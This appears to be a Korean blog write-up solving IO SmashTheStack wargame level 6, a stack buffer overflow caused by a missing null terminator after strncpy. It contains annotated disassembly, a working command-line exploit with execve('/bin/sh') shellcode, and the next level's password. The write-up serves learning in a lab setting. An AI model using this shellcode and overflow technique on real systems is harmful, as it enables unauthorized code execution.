level6@io:/levels$ ./level06
Segmentation fault
프로그램을 실행하니 세그멘테이션 폴트가 뜹니다.
버퍼 오버플로우 문제일 가능성이 높아보입니다.
level6@io:/levels$ cat level06.c
#include<string.h>
// The devil is in the details - nnp
void copy_buffers(char *argv[])
{
char buf1[32], buf2[32], buf3[32];
LOW [ BUF 3 | BUF 2 | BUF 1 | SFP | RET ] HIGH
argv[2] argv[1]
strncpy(buf2, argv[1], 31); // argv[1] 의 내용을 31 바이트만큼 buf2 에 복사한다.
strncpy(buf3, argv[2], sizeof(buf3)); // argv[2] 의 내용을 buf3 크기만큼 - 32 바이트 만큼 buf3 에 복사한다.
strcpy(buf1, buf3); // buf3 를 buf1 에 복사한다.
}
int main(int argc, char *argv[])
{
copy_buffers(argv); // copy_buffers 함수를 호출하며 argv 를 인자로 전달합니다.
return 0;
}
예상한대로 이 문제는 버퍼 오버플로우 취약점이 있습니다.
strcpy(buf1, buf3); 이 함수에 취약점이 존재합니다. buf3 를 buf1 로 복사하는 과정에서
범위를 검사하지 않으므로 만약 buf3 가 일정 크기 이상의 데이터를 buf3 에 집어넣으면 buf2 ~ buf ~ sfp ~ ret
까지 덮어서 공격이 되는것같습니다.
그리고 strncpy는 복사할 문자열이 붙여넣을 공간보다 크면 널바이트를 제외하고 붙여넣습니다.
즉 argv[1]에서 buf2로 복사할때 31바이트보다 크게 지정해주면 널바이트를 빼먹으면서 복사가 됩니다.
마찬가지로 argv[2]에서 buf3으로 복사할때도 그럽니다.
일단 바로 분석을해보겠습니다
level6@io:/levels$ gdb -q level06
Reading symbols from /levels/level06...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483ec <main+0>: lea 0x4(%esp),%ecx
0x080483f0 <main+4>: and $0xfffffff0,%esp
0x080483f3 <main+7>: pushl -0x4(%ecx)
0x080483f6 <main+10>: push %ebp
0x080483f7 <main+11>: mov %esp,%ebp
0x080483f9 <main+13>: push %ecx
0x080483fa <main+14>: sub $0x4,%esp
0x080483fd <main+17>: mov 0x4(%ecx),%eax
0x08048400 <main+20>: mov %eax,(%esp)
0x08048403 <main+23>: call 0x8048394 <copy_buffers>
0x08048408 <main+28>: mov $0x0,%eax
0x0804840d <main+33>: add $0x4,%esp
0x08048410 <main+36>: pop %ecx
0x08048411 <main+37>: pop %ebp
0x08048412 <main+38>: lea -0x4(%ecx),%esp
0x08048415 <main+41>: ret
End of assembler dump.
(gdb) disas copy_buffers
Dump of assembler code for function copy_buffers:
0x08048394 <copy_buffers+0>: push %ebp
0x08048395 <copy_buffers+1>: mov %esp,%ebp // 프롤로그
0x08048397 <copy_buffers+3>: sub $0x78,%esp // 스택 120바이트 공간 생성
0x0804839a <copy_buffers+6>: mov 0x8(%ebp),%eax // EAX에 (EBP+8) 값 복사 - EAX 에 argc 값 복사
0x0804839d <copy_buffers+9>: add $0x4,%eax // EAX + 4 => argv[1] 주소
0x080483a0 <copy_buffers+12>: mov (%eax),%eax // EAX 에 EAX 복사
0x080483a2 <copy_buffers+14>: movl $0x1f,0x8(%esp) // (ESP+8) 에 31 값 복사
0x080483aa <copy_buffers+22>: mov %eax,0x4(%esp) // (ESP+4) 에 EAX 값 복사 - (ESP+4) 에 argv[1] 값 복사
0x080483ae <copy_buffers+26>: lea -0x40(%ebp),%eax // EAX 에 (EBP-64) 값 복사 - BUF 2 복사과정
0x080483b1 <copy_buffers+29>: mov %eax,(%esp) // ESP 에 EAX 값 복사
0x080483b4 <copy_buffers+32>: call 0x80482b4 <strncpy@plt>
// strncpy(buf2, argv[1], 31);
0x080483b9 <copy_buffers+37>: mov 0x8(%ebp),%eax // EAX 에 (EBP+8) 값 복사 - argc 의 내용 다시 복사
0x080483bc <copy_buffers+40>: add $0x8,%eax // EAX+8 - argv[2] 의 시작주소를 EAX 에 복사
0x080483bf <copy_buffers+43>: mov (%eax),%eax // EAX 에 EAX 복사
0x080483c1 <copy_buffers+45>: movl $0x20,0x8(%esp) // (ESP+8) 에 20 값 복사 - sizeof(buf3)
0x080483c9 <copy_buffers+53>: mov %eax,0x4(%esp) // (ESP+4) 에 EAX 복사 - argv[2] 값 복사
0x080483cd <copy_buffers+57>: lea -0x60(%ebp),%eax // EAX 에 (EBP-96) 값 복사 buf3 값 복사
0x080483d0 <copy_buffers+60>: mov %eax,(%esp) // ESP 에 EAX 값 복사
0x080483d3 <copy_buffers+63>: call 0x80482b4 <strncpy@plt>
// strncpy(buf3, argv[2], sizeof(buf3));
0x080483d8 <copy_buffers+68>: lea -0x60(%ebp),%eax // EAX 에 (EBP-96) 주소값 복사
0x080483db <copy_buffers+71>: mov %eax,0x4(%esp) // (ESP+4) 에 EAX 값 복사 - buf3
0x080483df <copy_buffers+75>: lea -0x20(%ebp),%eax // EAX 에 (EBP-32) 값 주소값 복사
0x080483e2 <copy_buffers+78>: mov %eax,(%esp) // ESP 에 EAX 값 복사 - buf1
0x080483e5 <copy_buffers+81>: call 0x80482d4 <strcpy@plt>
//strcpy(buf1, buf3);
0x080483ea <copy_buffers+86>: leave // 에필로그
0x080483eb <copy_buffers+87>: ret
End of assembler dump.
분석을 모두 끝마쳤습니다. 메모리 구조를 확인해보겠습니다.
| EBP-96 | EBP-64 | EBP-32 | SFP | RET | 이렇게 선언이 되어있습니다. 처음에 말씀드렷듯이 취약점은
strcpy(buf1, buf3); 이 곳에 존재합니다.
buf3 는 argv[2] 를 통해 입력되며 buf1 은 입력이 되지 않습니다.
그러니깐 buf3 에 무작위로 데이터를 마구마구 입력해 buf2 까지로 buf1 을 덮고, sfp -> ret 까지
덮어버리면 될것같습니다.
| EBP-96 | EBP-64 | EBP-32 | SFP | RET |
└> | EBP-96 | EBP-64|
strcpy(buf1, buf3); 함수에 의해 위 모양처럼 만들어집니다.
`python -c 'print "\x90"*4 + "RET"'` `python -c 'print "\x90"*7 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
헷갈려하는 사람들이 있을수도 있으니, -나도 생각해내는데 약간의 어려움이 있었다.- 설명해보겠다.
strcpy(buf1, buf3); 과정에 의해 argv[2] 로 입력한 buf3 가 buf1 에 복사된다.
그런데 기존 메모리 구조는 | EBP-96 | EBP-64 | EBP-32 | SFP | RET | 이거였으나
위와 같은 과정을 거치면 메모리구조는 아래와 같이 커스터마이징 된다.
| EBP-96 | EBP-64 | EBP-96 | EBP-64 | SFP | RET |
strncpy 함수에서 널바이트보다 많은 값을 넣거나의 동작으로 널바이트를 덮으면 그 이상의 값을 입력할 수 있습니다.
그러니깐 argv[2] 에서 널바이트까지 딱 덮어버리고 argv[1] 에서 SFP 와 RET 값을 전해주면 키 값을 획득할 수 있습니다.
RET 에는 argv[2] 의 내용으로(NOP + 쉘코드) 전해준 buf3 의 주소를 넣어주면 될겁니다.
그러면 이제 buf3 의 주소를 구해줘야합니다.
level6@io:/levels$ ltrace ./level06 `python -c 'print "A"*8'` `python -c 'print "A"*32'`
__libc_start_main(0x80483ec, 3, 0xbfffdd74, 0x8048470, 0x8048420 <unfinished ...>
strncpy(0xbfffdc68, "AAAAAAAA", 31) = 0xbfffdc68
strncpy(0xbfffdc48, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 32) = 0xbfffdc48
strcpy(0xbfffdc88, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0xbfffdc88
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
코드를 다시 짜고 공격해보겠습니다.
level6@io:/levels$ ./level06 `python -c 'print "A"*4 + "\x48\xdc\xff\xbf"'` `python -c 'print "\x90"*7 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
sh-4.1$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1007(level7),1006(level6),1029(nosu)
sh-4.1$ cat /home/level7/.pass
L7fnSYMdStqZ
공격에 성공하였습니다.
'스터디 > wargames' 카테고리의 다른 글
[BOF-Wargames] LOB Load of BOF LEVEL1 (gate -> gremlin) 문제풀이 (0) | 2011.08.16 |
---|---|
[BOF-Wargames] IO SmashTheStack Level7 문제풀이 (0) | 2011.08.15 |
[BOF-Wargames] IO SmashTheStack Level5 문제풀이 (0) | 2011.08.12 |
[USE-Wargames] IO SmashTheStack Level4 문제풀이 (0) | 2011.08.12 |
[USE-Wargames] IO SmashTheStack Level3 문제풀이 (0) | 2011.08.12 |